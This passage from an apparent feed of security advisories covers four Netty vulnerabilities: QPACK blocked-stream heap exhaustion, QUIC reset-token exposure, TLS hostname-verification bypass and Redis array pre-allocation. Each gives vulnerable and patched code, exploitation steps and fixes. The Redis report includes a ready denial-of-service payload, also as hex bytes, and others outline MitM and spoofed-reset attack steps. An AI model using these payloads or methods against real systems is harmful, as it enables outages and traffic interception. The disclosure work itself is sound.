The HTTP/3 protocol uses QPACK (RFC 9204) for efficient compression of HTTP headers over QUIC. QPACK introduces a dynamic table containing header fields that are added incrementally during the lifetime of a connection. This mechanism necessitates handling out-of-order header delivery. When an HTTP/3 client sends a header referencing a dynamic table entry that the server has not yet parsed, the server must pause (block) processing of that stream until the prerequisite instructions arrive.

To prevent resource exhaustion attacks, servers must enforce strict upper limits on the number of concurrent blocked streams. In Netty&apos;s HTTP/3 codec (`io.netty:netty-codec-http3`), this limit is tracked using the `maxBlockedStreams` setting. A flaw in how Netty validates this limit combined with a failure to release tracking state leads to heap exhaustion.

This analysis details CVE-2026-48748, a high-severity resource exhaustion vulnerability affecting Netty HTTP/3 implementations. Unauthenticated remote attackers can exploit this vulnerability to trigger JVM heap memory exhaustion, resulting in a persistent Denial of Service.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The vulnerability resides within the QPACK decoding engine of Netty, specifically inside the class `io.netty.handler.codec.http3.QpackDecoder` and its helper method `shouldWaitForDynamicTableUpdates`. The primary defect is a logical flaw in the boundary check used to enforce the concurrent blocked stream limit.

When a server enables QPACK dynamic tables (by defining `HTTP3_SETTINGS_QPACK_MAX_TABLE_CAPACITY` greater than zero) but relies on default parameters, the setting `HTTP3_SETTINGS_QPACK_BLOCKED_STREAMS` remains unconfigured. Under these conditions, the property `maxBlockedStreams` defaults to a value of `0`. The implementation checks the current count of blocked streams using the expression `if (blockedStreamsCount == maxBlockedStreams - 1)`. When `maxBlockedStreams` is `0`, this condition evaluates to `if (blockedStreamsCount == -1)`. Because `blockedStreamsCount` starts at zero and only increments upon blocking new streams, the check can never evaluate to true. Consequently, the limit is bypassed entirely.

Furthermore, the `QpackDecoder` contains a secondary memory leak defect. When a stream is successfully unblocked or closed, the decoder does not remove the stream&apos;s metadata from its internal `blockedStreams` tracking data structure, nor does it decrement the `blockedStreamsCount` counter. This lack of cleanup ensures that memory allocated for the `ReadResumptionListener` and associated stream context persists for the duration of the QUIC connection, creating a severe memory leak.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

To understand the vulnerabilities, analyze the following representation of the vulnerable `QpackDecoder` implementation:

```java
// Vulnerable Implementation
public boolean shouldWaitForDynamicTableUpdates(long streamId, long requiredIndex) {
    // ... other checks ...
    
    // Flaw 1: Integer subtraction vulnerability leading to bypass
    // When maxBlockedStreams is 0, (maxBlockedStreams - 1) equals -1
    if (blockedStreamsCount == maxBlockedStreams - 1) {
        throw new Http3Exception(Http3ErrorCode.H3_QPACK_DECOMPRESSION_FAILED, &quot;Limit exceeded&quot;);
    }
    
    // Flaw 2: Allocation without release
    ReadResumptionListener listener = new ReadResumptionListener(streamId);
    blockedStreams.put(streamId, listener);
    blockedStreamsCount++; // Incremented but never decremented
    
    return true;
}
```

The fix implemented in Netty version `4.2.15.Final` addresses both structural flaws. It corrects the mathematical validation and ensures appropriate resource cleanup when a stream is processed or closed. The patched code implements the validation logic and cleanup actions:

```java
// Patched Implementation
public boolean shouldWaitForDynamicTableUpdates(long streamId, long requiredIndex) {
    // ... other checks ...
    
    // Fix 1: Robust boundary check prevents bypass when limit is 0 or low
    if (blockedStreamsCount &gt;= maxBlockedStreams) {
        throw new Http3Exception(Http3ErrorCode.H3_QPACK_DECOMPRESSION_FAILED, &quot;Limit exceeded&quot;);
    }
    
    ReadResumptionListener listener = new ReadResumptionListener(streamId);
    blockedStreams.put(streamId, listener);
    blockedStreamsCount++;
    
    return true;
}

// Fix 2: Proper resource deallocation
public void onStreamClosed(long streamId) {
    ReadResumptionListener removed = blockedStreams.remove(streamId);
    if (removed != null) {
        blockedStreamsCount--;
    }
}
```

The replacement of the exact-match condition (`== maxBlockedStreams - 1`) with a relational inequality check (`&gt;= maxBlockedStreams`) prevents bypass regardless of the configuration value. The addition of the tracking cleanup in `onStreamClosed` or equivalent lifecycle handlers prevents memory from growing indefinitely.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

An attacker can exploit this vulnerability with standard HTTP/3 traffic. The exploit requires no authentication or specific system state, only the ability to establish an HTTP/3 connection with the target server.

```mermaid
graph LR
  Attacker[&quot;Attacker (HTTP/3 Client)&quot;] --&gt;|1. Establish H3 Connection| Server[&quot;Netty Server&quot;]
  Attacker --&gt;|2. Send header referencing unreceived dynamic table entry| Server
  Server --&gt;|3. Register ReadResumptionListener &amp; block stream| Server
  Attacker --&gt;|4. Loop step 2 on new streams without sending table updates| Server
  Server --&gt;|5. Memory leaks: blockedStreamsCount grows past bounds| Server
  Server --&gt;|6. JVM Heap Exhaustion / OOM Crash| Server
```

The attacker initiates standard HTTP/3 handshakes and configures the connection to negotiate QPACK support. The attacker then continuously issues streams containing HTTP headers that deliberately reference dynamic table entries that have not yet been defined. The Netty decoder blocks each stream and registers a `ReadResumptionListener` in heap memory.

Because the boundary condition is broken and the cleanup is non-existent, the attacker can pile up hundreds of thousands of blocked streams on a single QUIC connection. This monotonically increases heap allocations until the JVM runs out of memory, leading to an abrupt application crash.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The impact of CVE-2026-48748 is classified as a high-severity Denial of Service (DoS). The vulnerability allows a single unauthenticated attacker to completely exhaust system memory resources on the hosting platform, resulting in an OutOfMemoryError (OOM) inside the Java Virtual Machine.

Because Netty is widely used as an underlying networking engine for various high-throughput proxy servers, API gateways, and microservice frameworks, a crash of the Netty runtime halts all dependent network services. This creates a complete service outage.

No data confidentiality or integrity is directly compromised, as the exploit does not permit unauthorized read or write access to application memory. The CVSS base score is determined to be 7.5.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation Guidance

The primary remediation is upgrading `io.netty:netty-codec-http3` to version `4.2.15.Final` or later. This version contains the complete correction for both the limit-validation expression and the memory-cleanup omissions.

If immediate patching is not possible, a temporary workaround is available. Administrators must explicitly configure the setting `HTTP3_SETTINGS_QPACK_BLOCKED_STREAMS` to a non-zero integer, such as `100`. Doing so prevents the `maxBlockedStreams` variable from defaulting to `0`, ensuring that the vulnerable condition `blockedStreamsCount == maxBlockedStreams - 1` triggers once the threshold is approached.

Note that because of the memory tracking leak, once the limit is reached, the connection will permanently refuse to block further streams, which may cause degradation of long-lived connections. However, this protects the server from infinite heap growth and subsequent JVM crashes. This workaround should be treated as a short-term risk reduction strategy until patches are applied.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-50009: Stateless Reset Token Exposure in Netty QUIC]]></title>
            <description><![CDATA[A cryptographic flaw in Netty's default QUIC Connection ID generator leaks secret Stateless Reset Tokens into unencrypted packet headers, allowing on-path attackers to inject spoofed resets and terminate active client sessions.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-50009</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-50009</guid>
            <category><![CDATA[Netty QUIC transport component]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 20:44:20 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-50009/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

CVE-2026-50009 describes a cryptographic design flaw in the Netty network application framework. The vulnerability specifically affects the QUIC transport protocol implementation when configured with default HMAC-based Connection ID (CID) and stateless reset token generators. Under specific network conditions, the 16-byte Stateless Reset Token is exposed directly on the network path.

In the QUIC protocol, a stateless reset token must remain secret to prevent unauthorized connection teardowns. The flaw in Netty prior to version 4.2.15.Final permits an on-path attacker to observe rotated CID headers and reconstruct or extract the associated Stateless Reset Token. With this token, the attacker can construct a spoofed Stateless Reset packet to terminate the session.

The vulnerability is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and CWE-330 (Use of Insufficiently Random Values). It presents a vector for targeted Denial of Service (DoS) attacks against active QUIC sessions. The vulnerability has been resolved in Netty version 4.2.15.Final.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-50009 lies in the cryptographic generation logic of the Connection IDs and Stateless Reset Tokens. In a secure QUIC implementation, these two values must be cryptographically independent. This independence is typically achieved by using distinct cryptographic keys or separate Key Derivation Function (KDF) paths.

Prior to version 4.2.15.Final, Netty&apos;s default HMAC-based CID and stateless reset token generator did not maintain this cryptographic segregation. The implementation reuse of the underlying HMAC state or overlapping input parameters resulted in a direct cryptographic relationship between the two outputs.

Specifically, when a source Connection ID rotation occurs, key material representing the active Stateless Reset Token is embedded within the cleartext bytes of the newly rotated Connection ID. Because QUIC packet public headers are transmitted unencrypted to facilitate routing, an observer on the network path can easily capture these headers. This on-path observer can then extract the exposed bytes and compute the associated 16-byte Stateless Reset Token.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

The vulnerable implementation failed to isolate the key derivation paths for Connection IDs and Stateless Reset Tokens. Below is a conceptual representation of the vulnerable generation logic contrasted with the corrected implementation.

In the vulnerable implementation, the same HMAC context is reused without adequate differentiation:

```java
// VULNERABLE
public byte[] generateResetToken(byte[] connectionId) {
    // Both CID and token share the same key and derivation path
    Mac mac = Mac.getInstance(&quot;HmacSHA256&quot;);
    mac.init(secretKey);
    byte[] output = mac.doFinal(connectionId);
    // The first 16 bytes are used as the token, while subsequent rotations leak state
    return Arrays.copyOf(output, 16);
}
```

The fix implemented in Netty 4.2.15.Final introduces strict separation using separate HKDF info labels or independent keys. This ensures that the generated Connection ID does not leak information regarding the stateless reset token:

```java
// PATCHED
public byte[] generateResetToken(byte[] connectionId) {
    Mac mac = Mac.getInstance(&quot;HmacSHA256&quot;);
    // Separate key or distinct domain separation prefix is utilized
    mac.init(tokenDerivationKey);
    mac.update(RESET_TOKEN_PREFIX);
    byte[] output = mac.doFinal(connectionId);
    return Arrays.copyOf(output, 16);
}
```

This modification ensures that the output is cryptographically decoupled from the public Connection ID, preventing an observer from deriving the secret token from sniffed packet headers.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Analysis

Exploitation of CVE-2026-50009 requires the attacker to occupy an on-path position, enabling them to sniff and inject network traffic between the target client and the Netty server. An off-path attacker cannot exploit this vulnerability because they cannot intercept the unencrypted QUIC headers containing the rotated Connection ID.

```mermaid
graph LR
  Client[&quot;Client&quot;] --&gt;|Active Session| Server[&quot;Netty QUIC Server&quot;]
  Attacker[&quot;On-Path Attacker&quot;] -.-&gt;|Sniffs headers during CID Rotation| Client
  Attacker --&gt;|Extracts secret token| Attacker
  Attacker --&gt;|Injects Spoofed Stateless Reset| Client
  Client --&gt;|Validates token &amp; closes session| Client
```

To execute the attack, the adversary first monitors the connection to detect a Connection ID rotation event. Upon identifying the rotation, the attacker extracts the destination Connection ID from the cleartext QUIC header. Using the mathematical relationship present in the vulnerable HMAC generation algorithm, the attacker extracts the bytes of the active Stateless Reset Token.

Once the token is derived, the attacker constructs a standard QUIC Stateless Reset packet. This packet contains a short header and terminates with the 16-byte Stateless Reset Token. The attacker then transmits this packet to the client, spoofing the source IP address of the Netty server. The client validates the token and immediately terminates the active connection.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The primary impact of CVE-2026-50009 is a targeted Denial of Service (DoS) against individual active QUIC sessions. An attacker can forcefully terminate connections of monitored users without needing credentials or authentication. The vulnerability does not allow an attacker to decrypt the application payloads or execute arbitrary code.

The Common Vulnerability Scoring System (CVSS) v3.1 score is 4.8 (Medium). The vector string is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L`. This reflects the high complexity of the attack, which requires on-path sniffing, balanced against the low confidentiality impact (disclosure of the reset token) and low availability impact (termination of individual sessions rather than server-wide crashes).

According to the Exploit Prediction Scoring System (EPSS), the probability of exploitation is currently low. There are no active exploitation campaigns or public weaponized proof-of-concepts recorded in the CISA Known Exploited Vulnerabilities catalog.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation and Mitigation

The most effective remediation is upgrading the Netty dependency to version 4.2.15.Final or later. This release addresses the vulnerability by enforcing cryptographic independence between Connection IDs and Stateless Reset Tokens using domain separation.

If upgrading is not immediately possible, administrators must implement workarounds. The primary workaround is to configure the Netty QUIC engine to use custom generators instead of the default HMAC-based CID and stateless reset token generators. The custom generator should derive Connection IDs and Stateless Reset Tokens from separate keys or distinct HKDF context parameters.

Additionally, network operators can implement anti-spoofing filters, such as BCP 38, at network boundaries. These filters can help prevent the injection of spoofed UDP packets containing the stateless reset token if they originate from outside the legitimate network path.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-50010: Hostname Verification Bypass in Netty TLS Client]]></title>
            <description><![CDATA[Netty silently bypasses TLS hostname verification when custom plain X509TrustManagers are used, exposing clients to unauthenticated Man-in-the-Middle (MitM) traffic interception.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-50010</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-50010</guid>
            <category><![CDATA[Netty Client Configurations]]></category>
            <category><![CDATA[Java Applications using Netty-Handler with custom trust managers]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 20:45:45 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-50010/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

CVE-2026-50010 defines a critical architectural flaw within the Netty asynchronous networking framework, specifically affecting its secure socket layer (SSL/TLS) setup code. In Java applications, the standard Java Secure Socket Extension (JSSE) provides APIs to establish TLS client contexts. To facilitate custom trust verification, developers often pass custom trust managers implementing the standard `javax.net.ssl.X509TrustManager` interface to Netty&apos;s `SslContextBuilder` builder mechanism.

Netty handles plain trust managers by wrapping them inside an adapter class, `X509TrustManagerWrapper`, which extends Java&apos;s modern `javax.net.ssl.X509ExtendedTrustManager`. This inheritance is intended to make the wrapper compatible with newer JSSE methods. However, the adapter implementation introduces a severe logic flaw: it silently discards the contextual connection parameters required for endpoint verification.

The vulnerability resides within the `netty-handler` component and manifests during client-side TLS handshake execution. Because the adapter masquerades as a full `X509ExtendedTrustManager`, runtime environments assume that it natively executes modern verification routines. This false assumption leads both standard Java providers (SunJSSE) and native Netty wrappers (such as `OpenSslX509TrustManagerWrapper`) to skip additional safety wrapping steps, leaving the application entirely vulnerable to identity spoofing.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-50010 lies in the behavioral divergence between the legacy `X509TrustManager` and the modern `X509ExtendedTrustManager`. When a client initiates a TLS connection, verifying the trust chain represents only the first phase of identity assurance. The second, equally critical phase is endpoint identification (hostname verification). Hostname verification ensures that the identity declared in the certificate&apos;s Common Name (CN) or Subject Alternative Name (SAN) matches the destination host.

In standard JSSE, a plain `X509TrustManager` lacks access to the active connection&apos;s socket or cryptographic engine, meaning it cannot inspect the target hostname. To resolve this, JSSE implementations automatically wrap plain managers using an internal wrapper, which intercepts the handshake context and performs endpoint identification independently. Netty utilizes a similar pattern when building its custom OpenSSL-backed engines, relying on `OpenSslX509TrustManagerWrapper` to inject verification logic.

When Netty&apos;s `SimpleTrustManagerFactory` processes a plain `X509TrustManager`, it wraps the object in its own `X509TrustManagerWrapper`. Because this class extends `X509ExtendedTrustManager`, Java&apos;s internal type checks (e.g., `trustManager instanceof X509ExtendedTrustManager`) evaluate to `true`. This type assessment signals to the underlying JSSE engine and Netty&apos;s OpenSSL wrapper that no further adaptation is needed. The engine assumes the wrapper will handle connection-aware checks.

Crucially, Netty&apos;s `X509TrustManagerWrapper` does not implement connection-aware checks. The wrapper overrides the 3-argument method `checkServerTrusted(X509Certificate[] chain, String authType, SSLEngine engine)` and the alternative socket-based method, but instead of analyzing the `SSLEngine` or `Socket` object to extract and verify the destination hostname, it discards these arguments entirely. The wrapper then invokes the legacy 2-argument `checkServerTrusted(chain, authType)` method of the wrapped plain delegate. As a result, the hostname is never checked, allowing any validly signed certificate to be accepted for any domain.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis and Patch Review

To understand the structural failure, we analyze the implementation of the vulnerable wrapping logic within the Netty source tree. The class `X509TrustManagerWrapper` was designed to subclass `X509ExtendedTrustManager` to bridge legacy code to modern API expectations.

Below is the conceptual representation of the vulnerable adapter class structure:

```java
package io.netty.handler.ssl;

import javax.net.ssl.X509ExtendedTrustManager;
import javax.net.ssl.X509TrustManager;
import javax.net.ssl.SSLEngine;
import java.net.Socket;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;

final class X509TrustManagerWrapper extends X509ExtendedTrustManager {
    private final X509TrustManager delegate;

    X509TrustManagerWrapper(X509TrustManager delegate) {
        this.delegate = delegate;
    }

    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
        delegate.checkClientTrusted(chain, authType);
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
        delegate.checkServerTrusted(chain, authType);
    }

    // Vulnerable delegation: Discards Socket and fails to verify hostname
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType, Socket socket) throws CertificateException {
        delegate.checkClientTrusted(chain, authType);
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType, Socket socket) throws CertificateException {
        delegate.checkServerTrusted(chain, authType);
    }

    // Vulnerable delegation: Discards SSLEngine and fails to verify hostname
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType, SSLEngine engine) throws CertificateException {
        delegate.checkClientTrusted(chain, authType);
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType, SSLEngine engine) throws CertificateException {
        // SSLEngine context is lost here
        delegate.checkServerTrusted(chain, authType);
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return delegate.getAcceptedIssuers();
    } 
}
```

The remediation requires Netty to avoid bypassing JSSE&apos;s built-in fallback wrappers. In the patched versions (`4.1.135.Final` and `4.2.15.Final`), the framework refactored how plain trust managers are integrated. Instead of wrapping plain trust managers in a class that claims to be an `X509ExtendedTrustManager` but lacks its capabilities, Netty either preserves the plain type so that JSSE&apos;s native wrapping engine performs the hostname checks, or ensures that hostname validation is explicitly performed within the wrapper itself by retrieving the SSL session parameters and verifying the endpoint.

```java
// Patched wrapper approach to enforce hostname check if we must wrap
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType, SSLEngine engine) throws CertificateException {
    // 1. Delegate basic cryptographic validation to the plain trust manager
    delegate.checkServerTrusted(chain, authType);

    // 2. Explicitly perform endpoint identification since JSSE wrapper was bypassed
    if (engine != null) {
        String endpointAlgo = engine.getSSLParameters().getEndpointIdentificationAlgorithm();
        if (&quot;HTTPS&quot;.equalsIgnoreCase(endpointAlgo)) {
            // Retrieve hostname and invoke standard verification routine
            String peerHost = engine.getPeerHost();
            // Validate the certificate chain against the peerHost
            SslUtils.verifyHostname(peerHost, chain[0]);
        } 
    }
}
```

The patch guarantees that when a client is configured with a plain trust manager, host verification is actively executed, mitigating the silent security degradation.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation and Attack Vectors

An attacker must establish an Adversary-in-the-Middle (AiTM) posture on the network path between the client application and the destination server to exploit this vulnerability. The attack requires no specialized conditions, authentication, or privileged access to either endpoint.

The typical attack execution follows these sequential phases:

1. **Traffic Interception**: The attacker leverages standard local-network or routing-level redirection techniques. These include ARP poisoning on a local area network, DNS hijacking, or the configuration of a rogue wireless access point.

2. **Handshake Spoofing**: When the Netty client attempts to establish a TLS connection to `https://target-service.com`, the attacker intercepts the TCP connection and responds as the server. The attacker presents an X.509 certificate issued by a globally trusted Certificate Authority (such as Let&apos;s Encrypt) for an unrelated domain under the attacker&apos;s control (e.g., `attacker-domain.com`).

3. **Validation Bypass**:
  - The client-side Netty framework processes the received certificate.
  - The custom `X509TrustManager` delegate verifies that the certificate chain is cryptographically valid and signed by a trusted root CA.
  - Because the wrapper bypassed JSSE and OpenSSL hostname verification mechanisms, the client fails to compare the hostname of the requested destination (`target-service.com`) against the identities present in the certificate (`attacker-domain.com`).
  - The handshake completes successfully.

4. **Information Disclosure**: The client transmits application payloads—including authentication tokens, session cookies, database credentials, or proprietary business data—over the encrypted channel. The attacker&apos;s proxy terminates the TLS connection, decrypts the inbound payloads, logs the sensitive data, and optionally forwards the modified traffic to the legitimate server to maintain persistence.

{/* icon: shield */}
{/* type: deep-dive */}
## Security Impact Assessment

The security impact of CVE-2026-50010 is classified as high, achieving a CVSS v3.1 base score of 7.5. The compromised security control is confidentiality. Because the TLS tunnel&apos;s integrity relies entirely on the verification of the peer&apos;s identity, bypassing hostname validation completely undermines the transport-layer security model.

An attacker executing a successful Man-in-the-Middle attack gains access to all plain-text data transmitted by the client. In microservice architectures where Netty-based clients communicate with internal APIs or identity providers, this vulnerability can expose internal authentication headers, OAuth tokens, and system secrets. Furthermore, because Netty is a core dependency of many popular Java frameworks (e.g., Spring Boot&apos;s WebClient, gRPC-Java, and various cloud-native gateways), the vulnerability&apos;s impact propagates widely across downstream enterprise ecosystems.

Although the official CVSS vector indicates no direct impact on integrity (`I:N`) or availability (`A:N`), a practical network adversary capable of decrypting TLS traffic can often inject or modify payloads before re-encrypting them for transmission to the real destination. This downstream capability elevates the realistic operational threat, potentially allowing unauthorized command execution or transactional fraud depending on the application context.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation and Mitigation Strategies

The primary and recommended resolution for CVE-2026-50010 is to upgrade the Netty library to a patched release. All applications using the Netty 4.1 branch must migrate to version `4.1.135.Final` or newer. Applications built on the Netty 4.2 branch must migrate to version `4.2.15.Final` or newer.

When immediate dependency upgrades are not feasible due to release cycles or legacy system constraints, organizations should apply the following code-level workarounds:

1. **Avoid Plain Trust Managers**: Do not register standard `javax.net.ssl.X509TrustManager` instances directly with the `SslContextBuilder`. Instead, implement custom validation logic by subclassing `javax.net.ssl.X509ExtendedTrustManager` directly. This native extended trust manager must explicitly implement the 3-argument `checkServerTrusted` method and perform hostname validation internally.

2. **Explicit Verification Post-Handshake**: If wrapping is unavoidable, developers can inject a custom `ChannelHandler` into the Netty pipeline immediately following the `SslHandler`. This handler should intercept the `SslHandshakeCompletionEvent` and programmatically verify that the peer certificate matches the target hostname before allowing any application data to flow.

3. **Network Isolation**: As an administrative control, ensure that systems running vulnerable clients operate within isolated, strictly controlled network segments. Employ IPsec tunnels, TLS-terminating proxies with independent verification, or service mesh configurations (such as Istio or Linkerd) to wrap client traffic in a verified outer layer of mutual TLS (mTLS).</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-50011: Unbounded Resource Pre-Allocation in Netty Redis Codec]]></title>
            <description><![CDATA[Remote, unauthenticated attackers can crash Netty-based Redis servers by sending a 13-byte RESP array header containing a large declared array length, triggering an immediate OutOfMemoryError.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-50011</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-50011</guid>
            <category><![CDATA[io.netty:netty-codec-redis]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 20:46:16 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-50011/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netty is an asynchronous event-driven network application framework used for the rapid development of maintainable high-performance protocol servers and clients. The framework includes a specialized Redis codec implementation module, `netty-codec-redis`, which facilitates the parsing and generation of Redis Serialization Protocol (RESP) messages. This module is commonly utilized in custom Redis proxy servers, database gateways, and applications interfacing directly with Redis cluster nodes.

Within the `netty-codec-redis` module, the parsing architecture consists of two main pipeline components: the `RedisDecoder` and the `RedisArrayAggregator`. The `RedisDecoder` is responsible for low-level stream dissection, identifying RESP types, and emitting intermediate token representations. The `RedisArrayAggregator` is responsible for taking these flat tokens and consolidating them into full object hierarchies, such as nested arrays.

A weakness exists in how the `RedisArrayAggregator` manages memory when processing incoming array headers. The aggregator trustfully accepts the element count declared by the client and attempts to prepare the internal list structure prior to receiving any elements. Because the memory allocation is proportional to the unverified length value, the class exposes a high-severity denial-of-service interface to unauthenticated remote clients.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of the vulnerability lies in the coupling of network-supplied length parameters with internal array capacity reservations. In the RESP specification, an array is represented by a leading asterisk character followed by the number of elements as a decimal value, and terminated by carriage-return line-feed sequences. For instance, `*3\r\n` denotes an array expecting three child elements.

When the pipeline processes an incoming array, `RedisDecoder#decodeLength` reads the parsed character sequence and decodes the length. The decoder passes this value into an instance of `ArrayHeaderRedisMessage`. While the decoder enforces limits on individual bulk string sizes to prevent allocation exploitation, it does not impose limits on the value inside the array header. This design permits a packet claiming to contain the maximum possible signed 32-bit integer value (2,147,483,647) to pass unhindered.

The downstream `RedisArrayAggregator` intercepts the `ArrayHeaderRedisMessage` and instantiates a state management tracker named `AggregateState`. The constructor of `AggregateState` takes the declared length and sets up a standard Java `ArrayList` to hold the child elements. Specifically, it executes `this.children = new ArrayList&lt;&gt;(length);`. This call tells the Java Virtual Machine (JVM) to allocate a backing Object array matching the requested capacity, leading to an immediate memory reservation request without any confirmation that the matching elements will ever be sent over the socket.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

In the vulnerable versions of `netty-codec-redis` (prior to 4.1.135.Final and 4.2.15.Final), the state-tracking class in the aggregator is implemented as follows:

```java
// Vulnerable Code Path: io.netty.handler.codec.redis.RedisArrayAggregator
private static final class AggregateState {
    private final int length;
    private final List&lt;RedisMessage&gt; children;

    AggregateState(int length) {
        this.length = length;
        // The constructor pre-allocates memory for the total declared length
        this.children = new ArrayList&lt;RedisMessage&gt;(length);
    }
}
```

When a client sends the payload `*2147483647\r\n`, the `length` variable evaluates to `2147483647`. Under standard JVM operations, the constructor of `ArrayList` initializes its internal reference table via `new Object[initialCapacity]`. On a 64-bit JVM, each reference requires 8 bytes (or 4 bytes with Compressed OOPs enabled). Calculating the allocation size for the backing array reveals the memory demand:

$$\text{Memory Request} = 2,147,483,647 \times 4 \text{ bytes} \approx 8.58 \text{ GB}$$

If Compressed OOPs is disabled, the system requests twice that amount, approximately 17.17 GB of contiguous heap memory. Since most JVM processes operate with heap configurations below this threshold, the memory manager cannot satisfy the allocation. The allocation failure forces the JVM to throw a `java.lang.OutOfMemoryError` immediately, causing thread termination or process termination.

The patched versions modify the class constructor to break the relationship between untrusted input and pre-allocation sizes. The patch limits the initial pre-allocation size to a maximum static threshold while allowing the list to grow dynamically if elements actually arrive:

```java
// Patched Code Path: io.netty.handler.codec.redis.RedisArrayAggregator
private static final class AggregateState {
    private final int length;
    private final List&lt;RedisMessage&gt; children;

    AggregateState(int length) {
        this.length = length;
        // The allocation is capped at 128 to prevent immediate OutOfMemoryError
        this.children = new ArrayList&lt;RedisMessage&gt;(Math.min(length, 128));
    }
}
```

This modification ensures that a large array length header will only cause a tiny memory footprint upon connection. If the attacker fails to send the physical elements, the application simply awaits more network input without consuming system memory. If the attacker tries to send 2 billion elements to satisfy the allocation, the request will be caught by timeout filters, transport rate limits, or network bandwidth saturation before it can exhaust JVM resources.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of CVE-2026-50011 requires zero privileges, no authentication, and can be initiated over any standard network path that allows connections to the Netty Redis service. The attacker needs only to establish a raw TCP connection and transmit a 13-byte malicious sequence.

```mermaid
graph LR
  Client[&quot;Attacker Client&quot;] --&gt;|&quot;Sends: *2147483647\r\n&quot;| RedisDecoder[&quot;RedisDecoder&quot;]
  RedisDecoder --&gt;|&quot;Decodes header length&quot;| RedisArrayAggregator[&quot;RedisArrayAggregator&quot;]
  RedisArrayAggregator --&gt;|&quot;Instantiates AggregateState&quot;| AggregateState[&quot;AggregateState&quot;]
  AggregateState --&gt;|&quot;Initializes children List&quot;| ArrayList[&quot;new ArrayList(2147483647)&quot;]
  ArrayList --&gt;|&quot;Throws&quot;| OOM[&quot;OutOfMemoryError&quot;]
```

Because the heap reservation happens instantly upon reading the header token, the attack is highly efficient and operates at wire speed. The attacker does not need to sustain a connection or perform multiple roundtrips. A single TCP packet containing the byte sequence `2a 32 31 34 37 34 38 33 36 34 37 0d 0a` is sufficient to terminate the target pipeline.

If the Netty service uses shared thread loops or runs within a containerized environment where memory limits are strictly enforced by the host operating system, the `OutOfMemoryError` can lead to immediate shutdown of the containing container, taking down other colocated microservices.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The operational impact of CVE-2026-50011 is restricted to availability. However, because Netty-based servers are often critical middleware components, a failure at this level can disrupt dependent applications downstream.

Because an `OutOfMemoryError` represents an unrecoverable runtime state in most Java configurations, the default JVM behavior is to halt execution threads or exit entirely. If the application handles the exception on the event loop, the worker thread itself might crash, causing active connections on that thread to be abruptly severed.

Furthermore, before the JVM crashes, the sudden demand for billions of bytes of contiguous heap memory triggers garbage collection routines. The garbage collector will run exhaustively, trying to reclaim space to satisfy the allocation. This condition, known as GC thrashing, consumes 100 percent of available CPU resources, freezing the server and blocking all legitimate network transactions before the process eventually shuts down.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation

